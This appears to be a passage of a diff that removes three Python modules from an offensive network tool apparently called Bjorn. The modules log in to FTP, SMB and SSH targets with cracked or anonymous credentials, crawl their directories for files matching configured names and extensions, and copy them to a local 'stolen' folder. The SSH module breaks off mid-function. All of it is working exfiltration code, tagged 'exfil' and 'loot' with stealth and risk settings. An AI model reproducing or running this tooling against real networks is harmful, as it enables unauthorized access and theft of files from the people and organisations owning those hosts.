FROM creds
|
||||
WHERE service='ftp'
|
||||
AND COALESCE(ip,'')=:ip
|
||||
AND (port IS NULL OR port=:port)
|
||||
""", params)
|
||||
|
||||
by_mac = []
|
||||
if mac:
|
||||
by_mac = self.shared_data.db.query(
|
||||
"""
|
||||
SELECT "user","password"
|
||||
FROM creds
|
||||
WHERE service='ftp'
|
||||
AND COALESCE(mac_address,'')=:mac
|
||||
AND (port IS NULL OR port=:port)
|
||||
""", params)
|
||||
|
||||
seen, out = set(), []
|
||||
for row in (by_ip + by_mac):
|
||||
u = str(row.get("user") or "").strip()
|
||||
p = str(row.get("password") or "").strip()
|
||||
if not u or (u, p) in seen:
|
||||
continue
|
||||
seen.add((u, p))
|
||||
out.append((u, p))
|
||||
return out
|
||||
|
||||
# -------- FTP helpers --------
|
||||
# Max file size to download (10 MB) - protects RPi Zero RAM
|
||||
_MAX_FILE_SIZE = 10 * 1024 * 1024
|
||||
# Max recursion depth for directory traversal (avoids symlink loops)
|
||||
_MAX_DEPTH = 5
|
||||
|
||||
def connect_ftp(self, ip: str, username: str, password: str, port: int = b_port) -> Optional[FTP]:
|
||||
try:
|
||||
ftp = FTP()
|
||||
ftp.connect(ip, port, timeout=10)
|
||||
ftp.login(user=username, passwd=password)
|
||||
self.ftp_connected = True
|
||||
logger.info(f"Connected to {ip}:{port} via FTP as {username}")
|
||||
return ftp
|
||||
except Exception as e:
|
||||
logger.info(f"FTP connect failed {ip}:{port} {username}: {e}")
|
||||
return None
|
||||
|
||||
def find_files(self, ftp: FTP, dir_path: str, depth: int = 0) -> List[str]:
|
||||
files: List[str] = []
|
||||
if depth > self._MAX_DEPTH:
|
||||
logger.debug(f"Max recursion depth reached at {dir_path}")
|
||||
return []
|
||||
try:
|
||||
if self.shared_data.orchestrator_should_exit or self.stop_execution:
|
||||
logger.info("File search interrupted.")
|
||||
return []
|
||||
ftp.cwd(dir_path)
|
||||
items = ftp.nlst()
|
||||
|
||||
for item in items:
|
||||
if self.shared_data.orchestrator_should_exit or self.stop_execution:
|
||||
logger.info("File search interrupted.")
|
||||
return []
|
||||
|
||||
try:
|
||||
ftp.cwd(item) # if ok -> directory
|
||||
files.extend(self.find_files(ftp, os.path.join(dir_path, item), depth + 1))
|
||||
ftp.cwd('..')
|
||||
except Exception:
|
||||
# not a dir => file candidate
|
||||
if any(item.endswith(ext) for ext in (self.shared_data.steal_file_extensions or [])) or \
|
||||
any(name in item for name in (self.shared_data.steal_file_names or [])):
|
||||
files.append(os.path.join(dir_path, item))
|
||||
logger.info(f"Found {len(files)} matching files in {dir_path} on FTP")
|
||||
except Exception as e:
|
||||
logger.error(f"FTP path error {dir_path}: {e}")
|
||||
return files
|
||||
|
||||
def steal_file(self, ftp: FTP, remote_file: str, base_dir: str) -> None:
|
||||
try:
|
||||
# Check file size before downloading
|
||||
try:
|
||||
size = ftp.size(remote_file)
|
||||
if size is not None and size > self._MAX_FILE_SIZE:
|
||||
logger.info(f"Skipping {remote_file} ({size} bytes > {self._MAX_FILE_SIZE} limit)")
|
||||
return
|
||||
except Exception:
|
||||
pass # SIZE not supported, try download anyway
|
||||
|
||||
local_file_path = os.path.join(base_dir, os.path.relpath(remote_file, '/'))
|
||||
os.makedirs(os.path.dirname(local_file_path), exist_ok=True)
|
||||
with open(local_file_path, 'wb') as f:
|
||||
ftp.retrbinary(f'RETR {remote_file}', f.write)
|
||||
logger.success(f"Downloaded {remote_file} -> {local_file_path}")
|
||||
except Exception as e:
|
||||
logger.error(f"FTP download error {remote_file}: {e}")
|
||||
|
||||
# -------- Orchestrator entry --------
|
||||
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
|
||||
timer = None
|
||||
try:
|
||||
self.shared_data.bjorn_orch_status = b_class
|
||||
# EPD live status
|
||||
self.shared_data.comment_params = {"ip": ip, "port": str(port), "files": "0"}
|
||||
try:
|
||||
port_i = int(port)
|
||||
except Exception:
|
||||
port_i = b_port
|
||||
|
||||
hostname = self.hostname_for_ip(ip) or ""
|
||||
self.shared_data.comment_params = {"ip": ip, "port": str(port_i), "hostname": hostname}
|
||||
|
||||
creds = self._get_creds_for_target(ip, port_i)
|
||||
logger.info(f"Found {len(creds)} FTP credentials in DB for {ip}")
|
||||
|
||||
def try_anonymous() -> Optional[FTP]:
|
||||
return self.connect_ftp(ip, 'anonymous', '', port=port_i)
|
||||
|
||||
if not creds and not try_anonymous():
|
||||
logger.error(f"No FTP credentials for {ip}. Skipping.")
|
||||
return 'failed'
|
||||
|
||||
def _timeout():
|
||||
if not self.ftp_connected:
|
||||
logger.error(f"No FTP connection within 4 minutes for {ip}. Failing.")
|
||||
self.stop_execution = True
|
||||
|
||||
timer = Timer(240, _timeout)
|
||||
timer.start()
|
||||
|
||||
mac = (row or {}).get("MAC Address") or self.mac_for_ip(ip) or "UNKNOWN"
|
||||
success = False
|
||||
|
||||
# Anonymous first
|
||||
ftp = try_anonymous()
|
||||
if ftp:
|
||||
self.shared_data.comment_params = {"user": "anonymous", "ip": ip, "port": str(port_i), "hostname": hostname}
|
||||
files = self.find_files(ftp, '/')
|
||||
local_dir = os.path.join(self.shared_data.data_stolen_dir, f"ftp/{mac}_{ip}/anonymous")
|
||||
if files:
|
||||
self.shared_data.comment_params = {"user": "anonymous", "ip": ip, "port": str(port_i), "hostname": hostname, "files": str(len(files))}
|
||||
for remote in files:
|
||||
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Execution interrupted.")
|
||||
break
|
||||
self.steal_file(ftp, remote, local_dir)
|
||||
logger.success(f"Stole {len(files)} files from {ip} via anonymous")
|
||||
success = True
|
||||
try:
|
||||
ftp.quit()
|
||||
except Exception:
|
||||
pass
|
||||
if success:
|
||||
return 'success'
|
||||
|
||||
# Authenticated creds
|
||||
for username, password in creds:
|
||||
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Execution interrupted.")
|
||||
break
|
||||
try:
|
||||
self.shared_data.comment_params = {"user": username, "ip": ip, "port": str(port_i), "hostname": hostname}
|
||||
logger.info(f"Trying FTP {username} @ {ip}:{port_i}")
|
||||
ftp = self.connect_ftp(ip, username, password, port=port_i)
|
||||
if not ftp:
|
||||
continue
|
||||
files = self.find_files(ftp, '/')
|
||||
local_dir = os.path.join(self.shared_data.data_stolen_dir, f"ftp/{mac}_{ip}/{username}")
|
||||
if files:
|
||||
self.shared_data.comment_params = {"user": username, "ip": ip, "port": str(port_i), "hostname": hostname, "files": str(len(files))}
|
||||
for remote in files:
|
||||
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Execution interrupted.")
|
||||
break
|
||||
self.steal_file(ftp, remote, local_dir)
|
||||
logger.info(f"Stole {len(files)} files from {ip} as {username}")
|
||||
success = True
|
||||
try:
|
||||
ftp.quit()
|
||||
except Exception:
|
||||
pass
|
||||
if success:
|
||||
return 'success'
|
||||
except Exception as e:
|
||||
logger.error(f"FTP loot error {ip} {username}: {e}")
|
||||
|
||||
return 'success' if success else 'failed'
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
||||
return 'failed'
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
if timer:
|
||||
timer.cancel()
|
||||
@@ -1,267 +0,0 @@
|
||||
"""steal_files_smb.py - Loot files from SMB shares using cracked or anonymous credentials."""
|
||||
|
||||
import os
|
||||
import logging
|
||||
import time
|
||||
from threading import Timer
|
||||
from typing import List, Tuple, Dict, Optional
|
||||
|
||||
from smb.SMBConnection import SMBConnection
|
||||
from shared import SharedData
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="steal_files_smb.py", level=logging.DEBUG)
|
||||
|
||||
b_class = "StealFilesSMB"
|
||||
b_module = "steal_files_smb"
|
||||
b_status = "steal_files_smb"
|
||||
b_parent = "SMBBruteforce"
|
||||
b_port = 445
|
||||
b_enabled = 1
|
||||
b_action = "normal"
|
||||
b_service = '["smb"]'
|
||||
b_trigger = 'on_any:["on_cred_found:smb","on_service:smb"]'
|
||||
b_requires = '{"all":[{"has_cred":"smb"},{"has_port":445}]}'
|
||||
b_priority = 60
|
||||
b_cooldown = 3600
|
||||
b_timeout = 600
|
||||
b_stealth_level = 5
|
||||
b_risk_level = "high"
|
||||
b_max_retries = 1
|
||||
b_tags = ["exfil", "smb", "loot", "files"]
|
||||
b_category = "exfiltration"
|
||||
b_name = "Steal Files SMB"
|
||||
b_description = "Loot files from SMB shares using cracked or anonymous credentials."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "StealFilesSMB.png"
|
||||
|
||||
|
||||
class StealFilesSMB:
|
||||
def __init__(self, shared_data: SharedData):
|
||||
self.shared_data = shared_data
|
||||
self.smb_connected = False
|
||||
self.stop_execution = False
|
||||
self.IGNORED_SHARES = set(self.shared_data.ignored_smb_shares or [])
|
||||
self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
|
||||
self._refresh_ip_identity_cache()
|
||||
logger.info("StealFilesSMB initialized")
|
||||
|
||||
# -------- Identity cache --------
|
||||
def _refresh_ip_identity_cache(self) -> None:
|
||||
self._ip_to_identity.clear()
|
||||
try:
|
||||
rows = self.shared_data.db.get_all_hosts()
|
||||
except Exception as e:
|
||||
logger.error(f"DB get_all_hosts failed: {e}")
|
||||
rows = []
|
||||
for r in rows:
|
||||
mac = r.get("mac_address") or ""
|
||||
if not mac:
|
||||
continue
|
||||
hostnames_txt = r.get("hostnames") or ""
|
||||
current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else ""
|
||||
ips_txt = r.get("ips") or ""
|
||||
if not ips_txt:
|
||||
continue
|
||||
for ip in [p.strip() for p in ips_txt.split(';') if p.strip()]:
|
||||
self._ip_to_identity[ip] = (mac, current_hn)
|
||||
|
||||
def mac_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[0]
|
||||
|
||||
def hostname_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[1]
|
||||
|
||||
# -------- Creds (grouped by share) --------
|
||||
def _get_creds_by_share(self, ip: str, port: int) -> Dict[str, List[Tuple[str, str]]]:
|
||||
"""
|
||||
Returns {share: [(user,pass), ...]} from DB.creds (service='smb', database=share).
|
||||
Prefer IP; also include MAC if known. Dedup per share.
|
||||
"""
|
||||
mac = self.mac_for_ip(ip)
|
||||
params = {"ip": ip, "port": port, "mac": mac or ""}
|
||||
|
||||
by_ip = self.shared_data.db.query(
|
||||
"""
|
||||
SELECT "user","password","database"
|
||||
FROM creds
|
||||
WHERE service='smb'
|
||||
AND COALESCE(ip,'')=:ip
|
||||
AND (port IS NULL OR port=:port)
|
||||
""", params)
|
||||
|
||||
by_mac = []
|
||||
if mac:
|
||||
by_mac = self.shared_data.db.query(
|
||||
"""
|
||||
SELECT "user","password","database"
|
||||
FROM creds
|
||||
WHERE service='smb'
|
||||
AND COALESCE(mac_address,'')=:mac
|
||||
AND (port IS NULL OR port=:port)
|
||||
""", params)
|
||||
|
||||
out: Dict[str, List[Tuple[str, str]]] = {}
|
||||
seen: Dict[str, set] = {}
|
||||
for row in (by_ip + by_mac):
|
||||
share = str(row.get("database") or "").strip()
|
||||
user = str(row.get("user") or "").strip()
|
||||
pwd = str(row.get("password") or "").strip()
|
||||
if not user or not share:
|
||||
continue
|
||||
if share not in out:
|
||||
out[share], seen[share] = [], set()
|
||||
if (user, pwd) in seen[share]:
|
||||
continue
|
||||
seen[share].add((user, pwd))
|
||||
out[share].append((user, pwd))
|
||||
return out
|
||||
|
||||
# -------- SMB helpers --------
|
||||
def connect_smb(self, ip: str, username: str, password: str) -> Optional[SMBConnection]:
|
||||
try:
|
||||
conn = SMBConnection(username, password, "Bjorn", "Target", use_ntlm_v2=True, is_direct_tcp=True)
|
||||
conn.connect(ip, b_port)
|
||||
self.smb_connected = True
|
||||
logger.info(f"Connected SMB {ip} as {username}")
|
||||
return conn
|
||||
except Exception as e:
|
||||
logger.error(f"SMB connect error {ip} {username}: {e}")
|
||||
return None
|
||||
|
||||
def list_shares(self, conn: SMBConnection):
|
||||
try:
|
||||
shares = conn.listShares()
|
||||
return [s for s in shares if (s.name not in self.IGNORED_SHARES and not s.isSpecial and not s.isTemporary)]
|
||||
except Exception as e:
|
||||
logger.error(f"list_shares error: {e}")
|
||||
return []
|
||||
|
||||
def find_files(self, conn: SMBConnection, share: str, dir_path: str) -> List[str]:
|
||||
files: List[str] = []
|
||||
try:
|
||||
for entry in conn.listPath(share, dir_path):
|
||||
if self.shared_data.orchestrator_should_exit or self.stop_execution:
|
||||
logger.info("File search interrupted.")
|
||||
return []
|
||||
if entry.isDirectory:
|
||||
if entry.filename not in ('.', '..'):
|
||||
files.extend(self.find_files(conn, share, os.path.join(dir_path, entry.filename)))
|
||||
else:
|
||||
name = entry.filename
|
||||
if any(name.endswith(ext) for ext in (self.shared_data.steal_file_extensions or [])) or \
|
||||
any(sn in name for sn in (self.shared_data.steal_file_names or [])):
|
||||
files.append(os.path.join(dir_path, name))
|
||||
return files
|
||||
except Exception as e:
|
||||
logger.error(f"SMB path error {share}:{dir_path}: {e}")
|
||||
raise
|
||||
|
||||
def steal_file(self, conn: SMBConnection, share: str, remote_file: str, base_dir: str) -> None:
|
||||
try:
|
||||
local_file_path = os.path.join(base_dir, os.path.relpath(remote_file, '/'))
|
||||
os.makedirs(os.path.dirname(local_file_path), exist_ok=True)
|
||||
with open(local_file_path, 'wb') as f:
|
||||
conn.retrieveFile(share, remote_file, f)
|
||||
logger.success(f"Downloaded {share}:{remote_file} -> {local_file_path}")
|
||||
except Exception as e:
|
||||
logger.error(f"SMB download error {share}:{remote_file}: {e}")
|
||||
|
||||
# -------- Orchestrator entry --------
|
||||
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
|
||||
try:
|
||||
self.shared_data.bjorn_orch_status = b_class
|
||||
# EPD live status
|
||||
self.shared_data.comment_params = {"ip": ip, "port": str(port), "share": "?", "files": "0"}
|
||||
try:
|
||||
port_i = int(port)
|
||||
except Exception:
|
||||
port_i = b_port
|
||||
|
||||
creds_by_share = self._get_creds_by_share(ip, port_i)
|
||||
logger.info(f"Found SMB creds for {len(creds_by_share)} share(s) in DB for {ip}")
|
||||
|
||||
def _timeout():
|
||||
if not self.smb_connected:
|
||||
logger.error(f"No SMB connection within 4 minutes for {ip}. Failing.")
|
||||
self.stop_execution = True
|
||||
|
||||
timer = Timer(240, _timeout)
|
||||
timer.start()
|
||||
|
||||
mac = (row or {}).get("MAC Address") or self.mac_for_ip(ip) or "UNKNOWN"
|
||||
success = False
|
||||
|
||||
# Anonymous first (''/'')
|
||||
try:
|
||||
conn = self.connect_smb(ip, '', '')
|
||||
if conn:
|
||||
shares = self.list_shares(conn)
|
||||
for s in shares:
|
||||
files = self.find_files(conn, s.name, '/')
|
||||
if files:
|
||||
base = os.path.join(self.shared_data.data_stolen_dir, f"smb/{mac}_{ip}/{s.name}")
|
||||
for remote in files:
|
||||
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Execution interrupted.")
|
||||
break
|
||||
self.steal_file(conn, s.name, remote, base)
|
||||
logger.success(f"Stole {len(files)} files from {ip} via anonymous on {s.name}")
|
||||
success = True
|
||||
try:
|
||||
conn.close()
|
||||
except Exception:
|
||||
pass
|
||||
except Exception as e:
|
||||
logger.info(f"Anonymous SMB failed on {ip}: {e}")
|
||||
|
||||
if success:
|
||||
timer.cancel()
|
||||
return 'success'
|
||||
|
||||
# Per-share credentials
|
||||
for share, creds in creds_by_share.items():
|
||||
if share in self.IGNORED_SHARES:
|
||||
continue
|
||||
for username, password in creds:
|
||||
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Execution interrupted.")
|
||||
break
|
||||
try:
|
||||
conn = self.connect_smb(ip, username, password)
|
||||
if not conn:
|
||||
continue
|
||||
files = self.find_files(conn, share, '/')
|
||||
if files:
|
||||
base = os.path.join(self.shared_data.data_stolen_dir, f"smb/{mac}_{ip}/{share}")
|
||||
for remote in files:
|
||||
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Execution interrupted.")
|
||||
break
|
||||
self.steal_file(conn, share, remote, base)
|
||||
logger.info(f"Stole {len(files)} files from {ip} share={share} as {username}")
|
||||
success = True
|
||||
try:
|
||||
conn.close()
|
||||
except Exception:
|
||||
pass
|
||||
if success:
|
||||
timer.cancel()
|
||||
return 'success'
|
||||
except Exception as e:
|
||||
logger.error(f"SMB loot error {ip} {share} {username}: {e}")
|
||||
|
||||
timer.cancel()
|
||||
return 'success' if success else 'failed'
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
||||
return 'failed'
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.shared_data.comment_params = {}
|
||||
@@ -1,362 +0,0 @@
|
||||
"""steal_files_ssh.py - Loot files over SSH/SFTP using cracked credentials."""
|
||||
|
||||
import os
|
||||
import shlex
|
||||
import time
|
||||
import logging
|
||||
import paramiko
|
||||
from threading import Timer, Lock
|
||||
from typing import List, Tuple, Dict, Optional
|
||||
|
||||
from shared import SharedData
|
||||
from logger import Logger
|
||||
|
||||
# Logger for this module
|
||||
logger = Logger(name="steal_files_ssh.py", level=logging.DEBUG)
|
||||
|
||||
# Silence Paramiko's internal logs (no "Error reading SSH protocol banner" spam)
|
||||
for _name in ("paramiko", "paramiko.transport", "paramiko.client", "paramiko.hostkeys"):
|
||||
logging.getLogger(_name).setLevel(logging.CRITICAL)
|
||||
|
||||
b_class = "StealFilesSSH" # Unique action identifier
|
||||
b_module = "steal_files_ssh" # Python module name (this file without .py)
|
||||
b_status = "steal_files_ssh" # Human/readable status key (free form)
|
||||
|
||||
b_action = "normal" # 'normal' (per-host) or 'global'
|
||||
b_service = '["ssh"]' # Services this action is about (JSON string for AST parser)
|
||||
b_port = 22 # Preferred target port (used if present on host)
|
||||
|
||||
# Trigger strategy:
|
||||
# - Prefer to run as soon as SSH credentials exist for this MAC (on_cred_found:ssh).
|
||||
# - Also allow starting when the host exposes SSH (on_service:ssh),
|
||||
# but the requirements below still enforce that SSH creds must be present.
|
||||
b_trigger = 'on_any:["on_cred_found:ssh","on_service:ssh"]'
|
||||
|
||||
# Requirements (JSON string):
|
||||
# - must have SSH credentials on this MAC
|
||||
# - must have port 22 (legacy fallback if port_services is missing)
|
||||
# - limit concurrent running actions system-wide to 2 for safety
|
||||
b_requires = '{"all":[{"has_cred":"ssh"},{"has_port":22},{"max_concurrent":2}]}'
|
||||
|
||||
# Scheduling / limits
|
||||
b_priority = 70 # 0..100 (higher processed first in this schema)
|
||||
b_timeout = 900 # seconds before a pending queue item expires
|
||||
b_max_retries = 1 # minimal retries; avoid noisy re-runs
|
||||
b_cooldown = 86400 # seconds (per-host cooldown between runs)
|
||||
b_rate_limit = "3/86400" # at most 3 executions/day per host (extra guard)
|
||||
|
||||
# Risk / hygiene
|
||||
b_stealth_level = 6 # 1..10 (higher = more stealthy)
|
||||
b_risk_level = "high" # 'low' | 'medium' | 'high'
|
||||
b_enabled = 1 # set to 0 to disable from DB sync
|
||||
b_tags = ["exfil", "ssh", "sftp", "loot", "files"]
|
||||
b_category = "exfiltration"
|
||||
b_name = "Steal Files SSH"
|
||||
b_description = "Loot files over SSH/SFTP using cracked credentials."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "StealFilesSSH.png"
|
||||
|
||||
# Tags (free taxonomy, JSON-ified by sync_actions)
|
||||
b_tags = ["exfil", "ssh", "loot"]
|
||||
|
||||
class StealFilesSSH:
|
||||
"""StealFilesSSH: connects via SSH using known creds and downloads matching files."""
|
||||
|
||||
def __init__(self, shared_data: SharedData):
|
||||
"""Init: store shared_data, flags, and build an IP->(MAC, hostname) cache."""
|
||||
self.shared_data = shared_data
|
||||
self._state_lock = Lock() # protects sftp_connected / stop_execution
|
||||
self.sftp_connected = False # flipped to True on first SFTP open
|
||||
self.stop_execution = False # global kill switch (timer / orchestrator exit)
|
||||
self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
|
||||
self._refresh_ip_identity_cache()
|
||||
logger.info("StealFilesSSH initialized")
|
||||
|
||||
# --------------------- Identity cache (hosts) ---------------------
|
||||
|
||||
def _refresh_ip_identity_cache(self) -> None:
|
||||
"""Rebuild IP -> (MAC, current_hostname) from DB.hosts."""
|
||||
self._ip_to_identity.clear()
|
||||
try:
|
||||
rows = self.shared_data.db.get_all_hosts()
|
||||
except Exception as e:
|
||||
logger.error(f"DB get_all_hosts failed: {e}")
|
||||
rows = []
|
||||
|
||||
for r in rows:
|
||||
mac = r.get("mac_address") or ""
|
||||
if not mac:
|
||||
continue
|
||||
hostnames_txt = r.get("hostnames") or ""
|
||||
current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else ""
|
||||
ips_txt = r.get("ips") or ""
|
||||
if not ips_txt:
|
||||
continue
|
||||
for ip in [p.strip() for p in ips_txt.split(';') if p.strip()]:
|
||||
self._ip_to_identity[ip] = (mac, current_hn)
|
||||
|
||||
def mac_for_ip(self, ip: str) -> Optional[str]:
|
||||
"""Return MAC for IP using the local cache (refresh on miss)."""
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[0]
|
||||
|
||||
def hostname_for_ip(self, ip: str) -> Optional[str]:
|
||||
"""Return current hostname for IP using the local cache (refresh on miss)."""
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[1]
|
||||
|
||||
# --------------------- Credentials (creds table) ---------------------
|
||||
|
||||
def _get_creds_for_target(self, ip: str, port: int) -> List[Tuple[str, str]]:
|
||||
"""
|
||||
Fetch SSH creds for this target from DB.creds.
|
||||
Strategy:
|
||||
- Prefer rows where service='ssh' AND ip=target_ip AND (port is NULL or matches).
|
||||
- Also include rows for same MAC (if known), still service='ssh'.
|
||||
Returns list of (username, password), deduplicated.
|
||||
"""
|
||||
mac = self.mac_for_ip(ip)
|
||||
params = {"ip": ip, "port": port, "mac": mac or ""}
|
||||
|
||||
# Pull by IP
|
||||
by_ip = self.shared_data.db.query(
|
||||
"""
|
||||
SELECT "user", "password"
|
||||
FROM creds
|
||||
WHERE service='ssh'
|
||||
AND COALESCE(ip,'') = :ip
|
||||
AND (port IS NULL OR port = :port)
|
||||
""",
|
||||
params
|
||||
)
|
||||
|
||||
# Pull by MAC (if we have one)
|
||||
by_mac = []
|
||||
if mac:
|
||||
by_mac = self.shared_data.db.query(
|
||||
"""
|
||||
SELECT "user", "password"
|
||||
FROM creds
|
||||
WHERE service='ssh'
|
||||
AND COALESCE(mac_address,'') = :mac
|
||||
AND (port IS NULL OR port = :port)
|
||||
""",
|
||||
params
|
||||
)
|
||||
|
||||
# Deduplicate while preserving order
|
||||
seen = set()
|
||||
out: List[Tuple[str, str]] = []
|
||||
for row in (by_ip + by_mac):
|
||||
u = str(row.get("user") or "").strip()
|
||||
p = str(row.get("password") or "").strip()
|
||||
if not u or (u, p) in seen:
|
||||
continue
|
||||
seen.add((u, p))
|
||||
out.append((u, p))
|
||||
return out
|
||||
|
||||
# --------------------- SSH helpers ---------------------
|
||||
|
||||
def connect_ssh(self, ip: str, username: str, password: str, port: int = b_port, timeout: int = 10):
|
||||
"""
|
||||
Open an SSH connection (no agent, no keys). Returns an active SSHClient or raises.
|
||||
NOTE: Paramiko logs are silenced at module import level.
|
||||
"""
|
||||
ssh = paramiko.SSHClient()
|
||||
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
# Be explicit: no interactive agents/keys; bounded timeouts to avoid hangs
|
||||
ssh.connect(
|
||||
hostname=ip,
|
||||
username=username,
|
||||
password=password,
|
||||
port=port,
|
||||
timeout=timeout,
|
||||
auth_timeout=timeout,
|
||||
banner_timeout=timeout,
|
||||
allow_agent=False,
|
||||
look_for_keys=False,
|
||||
)
|
||||
logger.info(f"Connected to {ip} via SSH as {username}")
|
||||
return ssh
|
||||
|
||||
def find_files(self, ssh: paramiko.SSHClient, dir_path: str) -> List[str]:
|
||||
"""
|
||||
List candidate files from remote dir, filtered by config:
|
||||
- shared_data.steal_file_extensions (endswith)
|
||||
- shared_data.steal_file_names (substring match)
|
||||
Uses `find <dir> -type f 2>/dev/null` to keep it quiet.
|
||||
"""
|
||||
# Quiet 'permission denied' messages via redirection; escape dir_path to prevent injection
|
||||
cmd = f'find {shlex.quote(dir_path)} -type f 2>/dev/null'
|
||||
stdin, stdout, stderr = ssh.exec_command(cmd)
|
||||
files = (stdout.read().decode(errors="ignore") or "").splitlines()
|
||||
|
||||
exts = set(self.shared_data.steal_file_extensions or [])
|
||||
names = set(self.shared_data.steal_file_names or [])
|
||||
if not exts and not names:
|
||||
# If no filters are defined, do nothing (too risky to pull everything).
|
||||
logger.warning("No steal_file_extensions / steal_file_names configured - skipping.")
|
||||
return []
|
||||
|
||||
matches: List[str] = []
|
||||
for fpath in files:
|
||||
if self.shared_data.orchestrator_should_exit or self.stop_execution:
|
||||
logger.info("File search interrupted.")
|
||||
return []
|
||||
fname = os.path.basename(fpath)
|
||||
if (exts and any(fname.endswith(ext) for ext in exts)) or (names and any(sn in fname for sn in names)):
|
||||
matches.append(fpath)
|
||||
|
||||
logger.info(f"Found {len(matches)} matching files in {dir_path}")
|
||||
return matches
|
||||
|
||||
# Max file size to download (10 MB) - protects RPi Zero RAM
|
||||
_MAX_FILE_SIZE = 10 * 1024 * 1024
|
||||
|
||||
def steal_file(self, ssh: paramiko.SSHClient, remote_file: str, local_dir: str) -> None:
|
||||
"""
|
||||
Download a single remote file into the given local dir, preserving subdirs.
|
||||
Skips files larger than _MAX_FILE_SIZE to protect RPi Zero memory.
|
||||
"""
|
||||
sftp = ssh.open_sftp()
|
||||
with self._state_lock:
|
||||
self.sftp_connected = True # first time we open SFTP, mark as connected
|
||||
|
||||
try:
|
||||
# Check file size before downloading
|
||||
try:
|
||||
st = sftp.stat(remote_file)
|
||||
if st.st_size and st.st_size > self._MAX_FILE_SIZE:
|
||||
logger.info(f"Skipping {remote_file} ({st.st_size} bytes > {self._MAX_FILE_SIZE} limit)")
|
||||
return # finally block still runs and closes sftp
|
||||
except Exception:
|
||||
pass # stat failed, try download anyway
|
||||
|
||||
# Preserve partial directory structure under local_dir
|
||||
remote_dir = os.path.dirname(remote_file)
|
||||
local_file_dir = os.path.join(local_dir, os.path.relpath(remote_dir, '/'))
|
||||
os.makedirs(local_file_dir, exist_ok=True)
|
||||
|
||||
local_file_path = os.path.join(local_file_dir, os.path.basename(remote_file))
|
||||
|
||||
# Path traversal guard: ensure we stay within local_dir
|
||||
abs_local = os.path.realpath(local_file_path)
|
||||
abs_base = os.path.realpath(local_dir)
|
||||
if not abs_local.startswith(abs_base + os.sep) and abs_local != abs_base:
|
||||
logger.warning(f"Path traversal blocked: {remote_file} -> {abs_local}")
|
||||
return
|
||||
|
||||
sftp.get(remote_file, local_file_path)
|
||||
|
||||
logger.success(f"Downloaded: {remote_file} -> {local_file_path}")
|
||||
finally:
|
||||
try:
|
||||
sftp.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# --------------------- Orchestrator entrypoint ---------------------
|
||||
|
||||
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
|
||||
"""
|
||||
Orchestrator entrypoint (signature preserved):
|
||||
- ip: target IP
|
||||
- port: str (expected '22')
|
||||
- row: current target row (compat structure built by shared_data)
|
||||
- status_key: action name (b_class)
|
||||
Returns 'success' if at least one file stolen; else 'failed'.
|
||||
"""
|
||||
timer = None
|
||||
try:
|
||||
self.shared_data.bjorn_orch_status = b_class
|
||||
|
||||
# Gather credentials from DB
|
||||
try:
|
||||
port_i = int(port)
|
||||
except Exception:
|
||||
port_i = b_port
|
||||
|
||||
hostname = self.hostname_for_ip(ip) or ""
|
||||
self.shared_data.comment_params = {"ip": ip, "port": str(port_i), "hostname": hostname}
|
||||
|
||||
creds = self._get_creds_for_target(ip, port_i)
|
||||
logger.info(f"Found {len(creds)} SSH credentials in DB for {ip}")
|
||||
if not creds:
|
||||
logger.error(f"No SSH credentials for {ip}. Skipping.")
|
||||
return 'failed'
|
||||
|
||||
# Define a timer: if we never establish SFTP in 4 minutes, abort
|
||||
def _timeout():
|
||||
with self._state_lock:
|
||||
if not self.sftp_connected:
|
||||
logger.error(f"No SFTP connection established within 4 minutes for {ip}. Marking as failed.")
|
||||
self.stop_execution = True
|
||||
|
||||
timer = Timer(240, _timeout)
|
||||
timer.start()
|
||||
|
||||
# Identify where to save loot
|
||||
mac = (row or {}).get("MAC Address") or self.mac_for_ip(ip) or "UNKNOWN"
|
||||
base_dir = os.path.join(self.shared_data.data_stolen_dir, f"ssh/{mac}_{ip}")
|
||||
|
||||
# Try each credential until success (or interrupted)
|
||||
success_any = False
|
||||
for username, password in creds:
|
||||
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Execution interrupted.")
|
||||
break
|
||||
|
||||
try:
|
||||
self.shared_data.comment_params = {"user": username, "ip": ip, "port": str(port_i), "hostname": hostname}
|
||||
logger.info(f"Trying credential {username} for {ip}")
|
||||
ssh = self.connect_ssh(ip, username, password, port=port_i)
|
||||
# Search from root; filtered by config
|
||||
files = self.find_files(ssh, '/')
|
||||
|
||||
if files:
|
